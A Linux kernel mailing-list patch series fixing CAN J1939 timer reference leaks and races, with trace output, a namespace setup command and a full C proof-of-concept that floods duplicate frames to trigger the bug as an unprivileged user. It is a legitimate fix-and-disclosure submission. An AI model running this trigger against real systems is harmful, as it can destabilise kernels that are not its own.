* [PATCH net v3 0/3] can: j1939: fix timer reference and cancellation races
@ 2026-10-29 8:43 Zihan Xi
2026-10-29 8:43 ` [PATCH net v3 1/3] can: j1939: fix session reference leaks on timer rearm Zihan Xi
` (2 more replies)
0 siblings, 3 replies; 8+ messages in thread
From: Zihan Xi @ 2026-10-29 8:43 UTC (permalink / raw)
To: linux-can, llvm
Cc: robin, o.rempel, kernel, socketcan, mkl, ecathinds, dev.kurt,
maxime.jayat, bst, nathan, ndesaulniers, morbo, justinstitt, vega,
zihanx
Hi Linux kernel maintainers,
We found an issue in net/can/j1939/transport.c.
The bug is reachable by a user who can create user and network namespaces
and send CAN frames to a J1939 receiver.
The relevant details are provided below.
---- details below ----
An LLM was used to help create this patch.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11143 (11143)
Bug details:
Restarting an already queued TX hrtimer changes its expiry but does not
create another callback to release another session reference. Repeated
scheduling can therefore leak references. The baseline trace excerpt below
shows two starts of the same timer before one callback; the second start
reports was_armed=1:
poc-389 [001] ..s1. 200.601373: txtimer_schedule: (j1939_tp_schedule_txtimer+0x4/0x60) session=0xffffa3da4a2bc400 msec=0x0
poc-390 [000] ..s1. 200.601375: txtimer_schedule: (j1939_tp_schedule_txtimer+0x4/0x60) session=0xffffa3da4a2bc400 msec=0x0
poc-389 [001] d.s2. 200.601390: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464843123 softexpires=200464843123 mode=REL|SOFT was_armed=0
poc-390 [000] d.s2. 200.601400: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464853253 softexpires=200464853253 mode=REL|SOFT was_armed=1
poc-390 [000] ..s1. 200.601429: hrtimer_expire_entry: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer now=200464882582
poc-390 [000] ..s1. 200.601430: txtimer_callback: (j1939_tp_txtimer+0x4/0xe70) timer=0xffffa3da4a2bc4b8
Source-level concurrency review found two additional send windows. A TX
callback can pass its ACTIVE-state check and race with deactivation; an RX
ABORT handler can also wait for timer callbacks before changing session state.
The TX-send lock and abort shutdown gate now serialize ordinary and
session-associated abort sends with those terminal paths. The trace above
shows only the timer restart/refcount-leak trigger; neither send window was
independently reproduced at runtime.
Changes in v3:
- Serialize TX/RX timer ownership, cancellation, and concurrent RX drains.
- Gate session TX sends during deactivation and RX ABORT handling.
- Split timer lifetime and TX-send shutdown fixes into separate patches.
- Keep context-analysis opt-in and annotations in a separate third patch.
Link: https://lore.kernel.org/all/cover.1793012287.git.zihanx@nebusec.ai/
Reproducer:
The trigger uses raw CAN frames over namespace-local vxcan peers and a
concurrent duplicate-frame burst; packetdrill does not model this
CAN/J1939 device topology.
Compile the reproducer with:
gcc -O2 -Wall -Wextra -Werror -pthread -static -o poc poc.c
Run it as an unprivileged account with user/network namespace support:
unshare -Urn sh -c 'ip link add vxcan0 type vxcan peer name vxcan1 && ip link set vxcan0 up && ip link set vxcan1 up && ./poc vxcan0 vxcan1 2097152 4 32 4096 1'
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The PoC creates four 2 MiB ETP sessions and concurrently sends duplicate
terminal DATA packets over a vxcan pair.
------BEGIN PoC------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/can.h>
#include <linux/can/j1939.h>
#include <linux/can/raw.h>
#include <net/if.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#ifndef SYS_sendmmsg
#define SYS_sendmmsg 307
#endif
#define LOCAL_SA 0x80
#define REMOTE_SA_BASE 0x81
#define APP_PGN_BASE 0x01f100
#define J1939_ETP_PGN_CTL 0x00c800
#define J1939_ETP_PGN_DAT 0x00c700
#define J1939_ETP_CMD_ABORT 0xff
#define J1939_ETP_CMD_CTS 0x15
#define J1939_ETP_CMD_DPO 0x16
#define J1939_ETP_CMD_RTS 0x14
#define DEFAULT_SIZE (1024U * 1024U)
#define DEFAULT_DUPLICATES 256U
#define DEFAULT_SESSIONS 4096U
#define DEFAULT_THREADS 8U
#define FIRST_BLOCK_PKTS 255U
struct params {
const char *tx_ifname;
const char *rx_ifname;
uint32_t session_size;
uint32_t sessions;
uint32_t threads;
uint32_t duplicates;
bool verbose;
};
struct can_burst {
struct can_frame *frames;
struct mmsghdr *msgs;
struct iovec *iovecs;
unsigned int nframes;
};
struct worker_ctx {
int fd;
int cpu;
struct can_burst burst;
};
static pthread_barrier_t start_barrier;
static pthread_barrier_t done_barrier;
static volatile sig_atomic_t stop_workers;
static void die(const char *what);
static int sendmmsg_compat(int fd, struct mmsghdr *msgvec, unsigned int vlen,
unsigned int flags)
{
return syscall(SYS_sendmmsg, fd, msgvec, vlen, flags);
}
static unsigned int sendmmsg_all(int fd, struct mmsghdr *msgvec,
unsigned int vlen, const char *what)
{
unsigned int sent = 0;
while (sent < vlen) {
int ret = sendmmsg_compat(fd, &msgvec[sent], vlen - sent, 0);
if (ret < 0)
die(what);
if (!ret) {
errno = EIO;
die(what);
}
sent += ret;
}
return sent;
}
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void barrier_wait_or_die(pthread_barrier_t *barrier, const char *what)
{
int ret = pthread_barrier_wait(barrier);
if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
errno = ret;
die(what);
}
}
static unsigned int parse_u32(const char *arg, const char *what)
{
char *endp;
unsigned long value;
errno = 0;
value = strtoul(arg, &endp, 0);
if (errno || *endp || value > UINT32_MAX) {
fprintf(stderr, "invalid %s: %s\n", what, arg);
exit(EXIT_FAILURE);
}
return (unsigned int)value;
}
static void pin_to_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set))
perror("pthread_setaffinity_np");
}
static canid_t make_can_id(uint8_t prio, uint32_t pgn, uint8_t sa, uint8_t da)
{
canid_t can_id;
can_id = CAN_EFF_FLAG | ((canid_t)prio << 26) | ((canid_t)pgn << 8) | sa;
if (((pgn >> 8) & 0xff) < 240)
can_id |= (canid_t)da << 8;
return can_id;
}
static int ifindex_by_name(const char *ifname)
{
unsigned int ifindex = if_nametoindex(ifname);
if (!ifindex) {
errno = ENODEV;
die("if_nametoindex");
}
return (int)ifindex;
}
static int make_raw_socket(int ifindex)
{
struct sockaddr_can addr = {
.can_family = AF_CAN,
.can_ifindex = ifindex,
};
int fd;
int one = 1;
fd = socket(PF_CAN, SOCK_RAW, CAN_RAW);
if (fd < 0)
die("socket(CAN_RAW)");
if (setsockopt(fd, SOL_CAN_RAW, CAN_RAW_RECV_OWN_MSGS, &one,
sizeof(one)) < 0)
die("setsockopt(CAN_RAW_RECV_OWN_MSGS)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind(CAN_RAW)");
return fd;
}
static int make_j1939_listener(int ifindex)
{
struct sockaddr_can addr = {
.can_family = AF_CAN,
.can_ifindex = ifindex,
.can_addr.j1939 = {
.name = 0,
.pgn = J1939_NO_PGN,
.addr = LOCAL_SA,
},
};
int fd;
fd = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
if (fd < 0)
die("socket(CAN_J1939)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind(CAN_J1939)");
return fd;
}
static void send_frame(int fd, const struct can_frame *frame)
{
ssize_t written = write(fd, frame, sizeof(*frame));
if (written != (ssize_t)sizeof(*frame))
die("write(can_frame)");
}
static void build_etp_rts(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t size, uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->len = 8;
frame->data[0] = J1939_ETP_CMD_RTS;
frame->data[1] = (size >> 0) & 0xff;
frame->data[2] = (size >> 8) & 0xff;
frame->data[3] = (size >> 16) & 0xff;
frame->data[4] = (size >> 24) & 0xff;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_dpo(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->len = 8;
frame->data[0] = J1939_ETP_CMD_DPO;
frame->data[1] = FIRST_BLOCK_PKTS;
frame->data[2] = 0;
frame->data[3] = 0;
frame->data[4] = 0;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_abort(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->len = 8;
frame->data[0] = J1939_ETP_CMD_ABORT;
frame->data[1] = 1;
frame->data[2] = 0xff;
frame->data[3] = 0xff;
frame->data[4] = 0xff;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_terminal_data(struct can_frame *frame, uint8_t remote_sa)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_DAT, remote_sa, LOCAL_SA);
frame->len = 8;
frame->data[0] = FIRST_BLOCK_PKTS;
memset(&frame->data[1], 'Z', 7);
}
static void free_burst(struct can_burst *burst)
{
free(burst->iovecs);
free(burst->msgs);
free(burst->frames);
memset(burst, 0, sizeof(*burst));
}
static void drain_raw_rx(int fd)
{
struct pollfd pfd = {
.fd = fd,
.events = POLLIN,
};
for (;;) {
struct can_frame frame;
int ret = poll(&pfd, 1, 0);
if (ret <= 0)
return;
if (read(fd, &frame, sizeof(frame)) < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK)
return;
die("read(raw drain)");
}
}
}
static bool match_ctl_cmd(const struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t pgn, uint8_t cmd)
{
uint32_t frame_pgn;
uint8_t frame_sa;
uint8_t frame_da = J1939_NO_ADDR;
if (!(frame->can_id & CAN_EFF_FLAG))
return false;
frame_sa = frame->can_id & 0xff;
frame_pgn = (frame->can_id >> 8) & J1939_PGN_MAX;
if (((frame_pgn >> 8) & 0xff) < 240) {
frame_da = frame_pgn & 0xff;
frame_pgn &= J1939_PGN_PDU1_MAX;
}
return frame_sa == sa && frame_da == da &&
frame_pgn == pgn && frame->len >= 1 &&
frame->data[0] == cmd;
}
static bool wait_for_cts(int raw_fd, uint8_t remote_sa, uint32_t app_pgn,
bool verbose)
{
struct pollfd pfd = {
.fd = raw_fd,
.events = POLLIN,
};
struct timespec start;
if (clock_gettime(CLOCK_MONOTONIC, &start) < 0)
die("clock_gettime");
for (;;) {
struct can_frame frame;
struct timespec now;
int elapsed_ms;
int timeout_ms;
int ret;
if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
die("clock_gettime");
elapsed_ms = (int)((now.tv_sec - start.tv_sec) * 1000 +
(now.tv_nsec - start.tv_nsec) / 1000000);
timeout_ms = 1000 - elapsed_ms;
if (timeout_ms <= 0)
return false;
ret = poll(&pfd, 1, timeout_ms);
if (ret < 0)
die("poll(raw)");
if (ret == 0)
return false;
if (!(pfd.revents & POLLIN))
continue;
if (read(raw_fd, &frame, sizeof(frame)) < 0)
die("read(raw)");
if (match_ctl_cmd(&frame, LOCAL_SA, remote_sa, J1939_ETP_PGN_CTL,
J1939_ETP_CMD_CTS)) {
if (verbose) {
printf("saw initial CTS for pgn=0x%05x remote_sa=0x%02x\n",
app_pgn, remote_sa);
fflush(stdout);
}
return true;
}
}
}
static void init_burst(struct can_burst *burst, unsigned int nframes)
{
memset(burst, 0, sizeof(*burst));
burst->nframes = nframes;
burst->frames = calloc(nframes, sizeof(*burst->frames));
burst->msgs = calloc(nframes, sizeof(*burst->msgs));
burst->iovecs = calloc(nframes, sizeof(*burst->iovecs));
if (!burst->frames || !burst->msgs || !burst->iovecs)
die("calloc(burst)");
}
static void finalize_burst(struct can_burst *burst)
{
unsigned int i;
for (i = 0; i < burst->nframes; i++) {
burst->iovecs[i].iov_base = &burst->frames[i];
burst->iovecs[i].iov_len = sizeof(burst->frames[i]);
burst->msgs[i].msg_hdr.msg_iov = &burst->iovecs[i];
burst->msgs[i].msg_hdr.msg_iovlen = 1;
}
}
static void build_prefix_burst(struct can_burst *burst, uint8_t remote_sa,
uint32_t app_pgn)
{
unsigned int i;
init_burst(burst, FIRST_BLOCK_PKTS);
build_etp_dpo(&burst->frames[0], remote_sa, LOCAL_SA, app_pgn);
for (i = 1; i < FIRST_BLOCK_PKTS; i++) {
memset(&burst->frames[i], 0, sizeof(burst->frames[i]));
burst->frames[i].can_id = make_can_id(6, J1939_ETP_PGN_DAT,
remote_sa, LOCAL_SA);
burst->frames[i].len = 8;
burst->frames[i].data[0] = i;
memset(&burst->frames[i].data[1], 'A' + (i % 26), 7);
}
finalize_burst(burst);
}
static void build_terminal_burst(struct can_burst *burst, uint8_t remote_sa,
unsigned int duplicates)
{
unsigned int i;
free_burst(burst);
init_burst(burst, duplicates);
for (i = 0; i < duplicates; i++)
build_etp_terminal_data(&burst->frames[i], remote_sa);
finalize_burst(burst);
}
static void *worker_main(void *arg)
{
struct worker_ctx *ctx = arg;
pin_to_cpu(ctx->cpu);
for (;;) {
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start)");
if (stop_workers)
break;
sendmmsg_all(ctx->fd, ctx->burst.msgs, ctx->burst.nframes,
"sendmmsg(worker)");
barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done)");
}
return NULL;
}
static void init_workers(struct worker_ctx *workers, pthread_t *tids,
int ifindex, unsigned int threads, int ncpus)
{
unsigned int i;
if (pthread_barrier_init(&start_barrier, NULL, threads + 1))
die("pthread_barrier_init(start)");
if (pthread_barrier_init(&done_barrier, NULL, threads + 1))
die("pthread_barrier_init(done)");
for (i = 0; i < threads; i++) {
workers[i].fd = make_raw_socket(ifindex);
workers[i].cpu = i % ncpus;
if (pthread_create(&tids[i], NULL, worker_main, &workers[i]))
die("pthread_create");
}
}
static void join_workers(struct worker_ctx *workers, pthread_t *tids,
unsigned int threads)
{
unsigned int i;
stop_workers = 1;
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(stop)");
for (i = 0; i < threads; i++) {
if (pthread_join(tids[i], NULL))
die("pthread_join");
free_burst(&workers[i].burst);
close(workers[i].fd);
}
pthread_barrier_destroy(&start_barrier);
pthread_barrier_destroy(&done_barrier);
}
static void run_session(int raw_fd, struct worker_ctx *workers,
uint32_t size, uint32_t threads, uint32_t duplicates,
uint32_t session_idx, bool verbose)
{
struct can_frame rts;
struct can_frame abort;
struct can_burst prefix = { 0 };
uint8_t remote_sa;
uint32_t app_pgn;
unsigned int i;
unsigned int sa_span = J1939_MAX_UNICAST_ADDR - REMOTE_SA_BASE + 1;
remote_sa = REMOTE_SA_BASE + (session_idx % sa_span);
app_pgn = APP_PGN_BASE + (session_idx % 0x100);
build_etp_rts(&rts, remote_sa, LOCAL_SA, size, app_pgn);
send_frame(raw_fd, &rts);
if (!wait_for_cts(raw_fd, remote_sa, app_pgn, verbose)) {
fprintf(stderr,
"timed out waiting for initial CTS: session=%u remote_sa=0x%02x pgn=0x%05x size=%u\n",
session_idx, remote_sa, app_pgn, size);
exit(EXIT_FAILURE);
}
build_prefix_burst(&prefix, remote_sa, app_pgn);
/* Ensure the receiver processes DPO before the data packet burst. */
send_frame(raw_fd, &prefix.frames[0]);
usleep(1000);
sendmmsg_all(raw_fd, &prefix.msgs[1], prefix.nframes - 1,
"sendmmsg(prefix)");
free_burst(&prefix);
for (i = 0; i < threads; i++)
build_terminal_burst(&workers[i].burst, remote_sa, duplicates);
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start-main)");
barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done-main)");
build_etp_abort(&abort, remote_sa, LOCAL_SA, app_pgn);
send_frame(raw_fd, &abort);
}
static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s [tx_ifname] [rx_ifname] [size] [sessions] [threads] [duplicates_per_thread] [verbose]\n",
prog);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv)
{
struct params params = {
.tx_ifname = "vcan0",
.rx_ifname = "vcan0",
.session_size = DEFAULT_SIZE,
.sessions = DEFAULT_SESSIONS,
.threads = DEFAULT_THREADS,
.duplicates = DEFAULT_DUPLICATES,
.verbose = false,
};
struct worker_ctx *workers;
pthread_t *tids;
int ifindex;
int rx_ifindex;
int raw_fd;
int j1939_fd;
int ncpus;
unsigned int i;
if (argc > 8)
usage(argv[0]);
if (argc >= 2)
params.tx_ifname = argv[1];
if (argc >= 3)
params.rx_ifname = argv[2];
if (argc >= 4)
params.session_size = parse_u32(argv[3], "size");
if (argc >= 5)
params.sessions = parse_u32(argv[4], "sessions");
if (argc >= 6)
params.threads = parse_u32(argv[5], "threads");
if (argc >= 7)
params.duplicates = parse_u32(argv[6], "duplicates");
if (argc >= 8)
params.verbose = parse_u32(argv[7], "verbose") != 0;
if (params.session_size <= 1785) {
fprintf(stderr, "size must be > 1785 to force ETP\n");
return EXIT_FAILURE;
}
if (!params.sessions || !params.threads || !params.duplicates)
usage(argv[0]);
ncpus = sysconf(_SC_NPROCESSORS_ONLN);
if (ncpus < 1)
die("sysconf(_SC_NPROCESSORS_ONLN)");
workers = calloc(params.threads, sizeof(*workers));
tids = calloc(params.threads, sizeof(*tids));
if (!workers || !tids)
die("calloc(workers)");
ifindex = ifindex_by_name(params.tx_ifname);
rx_ifindex = ifindex_by_name(params.rx_ifname);
j1939_fd = make_j1939_listener(rx_ifindex);
raw_fd = make_raw_socket(ifindex);
init_workers(workers, tids, ifindex, params.threads, ncpus);
printf("tx_if=%s(%d) rx_if=%s(%d) size=%u sessions=%u threads=%u duplicates_per_thread=%u\n",
params.tx_ifname, ifindex, params.rx_ifname, rx_ifindex,
params.session_size, params.sessions, params.threads,
params.duplicates);
fflush(stdout);
for (i = 0; i < params.sessions; i++) {
drain_raw_rx(raw_fd);
run_session(raw_fd, workers, params.session_size, params.threads,
params.duplicates, i, params.verbose);
if ((i + 1) % 16 == 0 || params.verbose) {
printf("completed %u sessions\n", i + 1);
fflush(stdout);
}
}
join_workers(workers, tids, params.threads);
close(raw_fd);
close(j1939_fd);
free(tids);
free(workers);
return 0;
}
------END PoC--------
The baseline run recorded the duplicate timer restart and callback shown
above. It did not produce a crash log.
Best regards,
Zihan Xi
Zihan Xi (3):
can: j1939: fix session reference leaks on timer rearm
can: j1939: stop TX sends after session shutdown
can: j1939: enable context analysis
net/can/j1939/Makefile | 2 +
net/can/j1939/j1939-priv.h | 25 +-
net/can/j1939/socket.c | 59 +++--
net/can/j1939/transport.c | 483 +++++++++++++++++++++++++++++++++----
4 files changed, 490 insertions(+), 79 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 8+ messages in thread
* [PATCH net v3 1/3] can: j1939: fix session reference leaks on timer rearm
2026-10-29 8:43 [PATCH net v3 0/3] can: j1939: fix timer reference and cancellation races Zihan Xi
@ 2026-10-29 8:43 ` Zihan Xi
2026-10-29 9:17 ` sashiko-bot
2026-10-29 8:43 ` [PATCH net v3 2/3] can: j1939: stop TX sends after session shutdown Zihan Xi
2026-10-29 8:43 ` [PATCH net v3 3/3] can: j1939: enable context analysis Zihan Xi
2 siblings, 1 reply; 8+ messages in thread
From: Zihan Xi @ 2026-10-29 8:43 UTC (permalink / raw)
To: linux-can, llvm
Cc: robin, o.rempel, kernel, socketcan, mkl, ecathinds, dev.kurt,
maxime.jayat, bst, nathan, ndesaulniers, morbo, justinstitt, vega,
zihanx
Track queued timer and running callback references separately so rearming
cannot leak session references or race timer cancellation.
Drain terminal TX and RX timers without waiting under their state locks,
and gate RX timeout rearming against concurrent drains.
Move next-session timer scheduling outside the socket queue lock to avoid
lock ordering problems.
Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/11143
Link: https://lore.kernel.org/all/cover.1793012287.git.zihanx@nebusec.ai/
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
net/can/j1939/j1939-priv.h | 23 ++-
net/can/j1939/socket.c | 59 +++---
net/can/j1939/transport.c | 414 ++++++++++++++++++++++++++++++++-----
3 files changed, 423 insertions(+), 73 deletions(-)
diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index cf26352d1d8c..c0a4c1478240 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -10,6 +10,7 @@
#define _J1939_PRIV_H_
#include <linux/can/j1939.h>
+#include <linux/spinlock.h>
#include <net/sock.h>
/* Timeout to receive the abort signal over loop back. In case CAN
@@ -237,7 +238,6 @@ struct j1939_session {
struct list_head sk_session_queue_entry;
struct kref kref;
struct sock *sk;
-
/* ifindex, src, dst, pgn define the session block
* the are _never_ modified after insertion in the list
* this decreases locking problems a _lot_
@@ -289,7 +289,26 @@ struct j1939_session {
/* dpo - ETP.CM_DPO, Data Packet Offset */
unsigned int dpo;
} pkt;
- struct hrtimer txtimer, rxtimer;
+ /*
+ * qref pins the queued timer; cbref pins a running callback. A
+ * concurrent rearm can leave both references outstanding.
+ */
+ /* Protects TX timer rearming and cancellation. */
+ spinlock_t txtimer_lock;
+ struct hrtimer txtimer;
+ bool txtimer_qref;
+ bool txtimer_cbref;
+ bool txtimer_cb_running;
+ bool txtimer_shutdown;
+ /* RX timer state and refs below use active_session_list_lock. */
+ struct hrtimer rxtimer;
+ bool rxtimer_qref;
+ bool rxtimer_cbref;
+ bool rxtimer_cb_running;
+ /* Temporary drains defer rearming; the last drain installs the pending timeout. */
+ unsigned int rxtimer_cancelers;
+ bool rxtimer_pending;
+ int rxtimer_pending_timeout;
};
struct j1939_sock {
diff --git a/net/can/j1939/socket.c b/net/can/j1939/socket.c
index 50a598ef5fd4..153b34ea523a 100644
--- a/net/can/j1939/socket.c
+++ b/net/can/j1939/socket.c
@@ -147,7 +147,9 @@ static void j1939_sk_queue_drop_all(struct j1939_priv *priv,
spin_unlock_bh(&jsk->sk_session_queue_lock);
}
-static void j1939_sk_queue_activate_next_locked(struct j1939_session *session)
+static struct j1939_session *
+j1939_sk_queue_activate_next_locked(struct j1939_session *session,
+ int *txtimer_delay)
{
struct j1939_sock *jsk;
struct j1939_session *first;
@@ -155,7 +157,7 @@ static void j1939_sk_queue_activate_next_locked(struct j1939_session *session)
/* RX-Session don't have a socket (yet) */
if (!session->sk)
- return;
+ return NULL;
jsk = j1939_sk(session->sk);
lockdep_assert_held(&jsk->sk_session_queue_lock);
@@ -168,37 +170,39 @@ static void j1939_sk_queue_activate_next_locked(struct j1939_session *session)
/* Some else has already activated the next session */
if (first != session)
- return;
+ return NULL;
-activate_next:
- list_del_init(&first->sk_session_queue_entry);
- j1939_session_put(first);
- first = list_first_entry_or_null(&jsk->sk_session_queue,
- struct j1939_session,
- sk_session_queue_entry);
- if (!first)
- return;
+ while (first) {
+ list_del_init(&first->sk_session_queue_entry);
+ j1939_session_put(first);
+ first = list_first_entry_or_null(&jsk->sk_session_queue,
+ struct j1939_session,
+ sk_session_queue_entry);
+ if (!first)
+ return NULL;
+
+ if (j1939_session_activate(first)) {
+ netdev_warn_once(first->priv->ndev,
+ "%s: 0x%p: Identical session is already activated.\n",
+ __func__, first);
+ first->err = -EBUSY;
+ continue;
+ }
- if (j1939_session_activate(first)) {
- netdev_warn_once(first->priv->ndev,
- "%s: 0x%p: Identical session is already activated.\n",
- __func__, first);
- first->err = -EBUSY;
- goto activate_next;
- } else {
/* Give receiver some time (arbitrary chosen) to recover */
- int time_ms = 0;
-
- if (err)
- time_ms = 10 + get_random_u32_below(16);
-
- j1939_tp_schedule_txtimer(first, time_ms);
+ *txtimer_delay = err ? 10 + get_random_u32_below(16) : 0;
+ j1939_session_get(first);
+ return first;
}
+
+ return NULL;
}
void j1939_sk_queue_activate_next(struct j1939_session *session)
{
+ struct j1939_session *next;
struct j1939_sock *jsk;
+ int txtimer_delay;
if (!session->sk)
return;
@@ -206,8 +210,13 @@ void j1939_sk_queue_activate_next(struct j1939_session *session)
jsk = j1939_sk(session->sk);
spin_lock_bh(&jsk->sk_session_queue_lock);
- j1939_sk_queue_activate_next_locked(session);
+ next = j1939_sk_queue_activate_next_locked(session, &txtimer_delay);
spin_unlock_bh(&jsk->sk_session_queue_lock);
+
+ if (next) {
+ j1939_tp_schedule_txtimer(next, txtimer_delay);
+ j1939_session_put(next);
+ }
}
static bool j1939_sk_match_dst(struct j1939_sock *jsk,
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 8fcfd13e5e6f..0dd08d1b8f75 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -9,6 +9,7 @@
// Oleksij Rempel <kernel@pengutronix.de>
#include <linux/can/skb.h>
+#include <linux/cleanup.h>
#include <net/can.h>
#include "j1939-priv.h"
@@ -301,22 +302,139 @@ void j1939_session_put(struct j1939_session *session)
kref_put(&session->kref, __j1939_session_release);
}
+static void j1939_session_txtimer_cancel_async(struct j1939_session *session)
+{
+ bool put_qref = false;
+ int ret;
+
+ spin_lock_bh(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ ret = hrtimer_try_to_cancel(&session->txtimer);
+ if (ret == 1) {
+ WARN_ON_ONCE(!session->txtimer_qref);
+ session->txtimer_qref = false;
+ put_qref = true;
+ }
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (put_qref)
+ j1939_session_put(session);
+}
+
static void j1939_session_txtimer_cancel(struct j1939_session *session)
{
- if (hrtimer_cancel(&session->txtimer))
+ struct hrtimer *timer;
+ bool put_qref = false;
+ int ret;
+
+ spin_lock_bh(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ timer = &session->txtimer;
+ /* Keep this alias across unlock; blocking cancel must run outside the lock. */
+ ret = hrtimer_try_to_cancel(timer);
+ if (ret == 1) {
+ WARN_ON_ONCE(!session->txtimer_qref);
+ session->txtimer_qref = false;
+ put_qref = true;
+ }
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (ret < 0) {
+ /* Keep the blocking cancel outside txtimer_lock. */
+ ret = hrtimer_cancel(timer);
+ if (ret == 1) {
+ spin_lock_bh(&session->txtimer_lock);
+ WARN_ON_ONCE(!session->txtimer_qref);
+ session->txtimer_qref = false;
+ put_qref = true;
+ spin_unlock_bh(&session->txtimer_lock);
+ }
+ }
+
+ if (put_qref)
j1939_session_put(session);
}
+/* Cancel a queued RX timer without waiting; caller may be in softirq context. */
static void j1939_session_rxtimer_cancel(struct j1939_session *session)
{
- if (hrtimer_cancel(&session->rxtimer))
+ bool put_qref = false;
+ int ret;
+
+ j1939_session_list_lock(session->priv);
+ ret = hrtimer_try_to_cancel(&session->rxtimer);
+ if (ret == 1) {
+ WARN_ON_ONCE(!session->rxtimer_qref);
+ session->rxtimer_qref = false;
+ put_qref = true;
+ }
+ j1939_session_list_unlock(session->priv);
+
+ if (put_qref)
+ j1939_session_put(session);
+}
+
+/* Drain RX timer outside the list lock; temporary drains gate all rearming. */
+static void j1939_tp_set_rxtimeout_locked(struct j1939_session *session,
+ int msec);
+
+static void j1939_session_rxtimer_cancel_sync(struct j1939_session *session,
+ bool temporary)
+{
+ struct hrtimer *timer;
+ bool put_qref = false;
+ int ret;
+
+ j1939_session_list_lock(session->priv);
+ if (temporary)
+ session->rxtimer_cancelers++;
+ timer = &session->rxtimer;
+ ret = hrtimer_try_to_cancel(timer);
+ if (ret == 1) {
+ WARN_ON_ONCE(!session->rxtimer_qref);
+ session->rxtimer_qref = false;
+ put_qref = true;
+ }
+ j1939_session_list_unlock(session->priv);
+
+ if (ret < 0) {
+ ret = hrtimer_cancel(timer);
+ if (ret == 1) {
+ j1939_session_list_lock(session->priv);
+ WARN_ON_ONCE(!session->rxtimer_qref);
+ session->rxtimer_qref = false;
+ put_qref = true;
+ j1939_session_list_unlock(session->priv);
+ }
+ }
+
+ if (temporary) {
+ j1939_session_list_lock(session->priv);
+ if (WARN_ON_ONCE(!session->rxtimer_cancelers)) {
+ session->rxtimer_cancelers = 0;
+ } else {
+ session->rxtimer_cancelers--;
+ if (!session->rxtimer_cancelers &&
+ session->rxtimer_pending) {
+ int pending_timeout =
+ session->rxtimer_pending_timeout;
+
+ session->rxtimer_pending = false;
+ j1939_tp_set_rxtimeout_locked(session,
+ pending_timeout);
+ }
+ }
+ j1939_session_list_unlock(session->priv);
+ }
+
+ if (put_qref)
j1939_session_put(session);
}
void j1939_session_timers_cancel(struct j1939_session *session)
{
j1939_session_txtimer_cancel(session);
- j1939_session_rxtimer_cancel(session);
+ j1939_session_rxtimer_cancel_sync(session, true);
}
static inline bool j1939_cb_is_broadcast(const struct j1939_sk_buff_cb *skcb)
@@ -714,23 +832,117 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
return j1939_xtp_do_tx_ctl(priv, re_skcb, swap_src_dst, pgn, dat);
}
-void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
+static void j1939_tp_schedule_txtimer_locked(struct j1939_session *session,
+ int msec)
{
- j1939_session_get(session);
+ bool queued;
+ int ret;
+
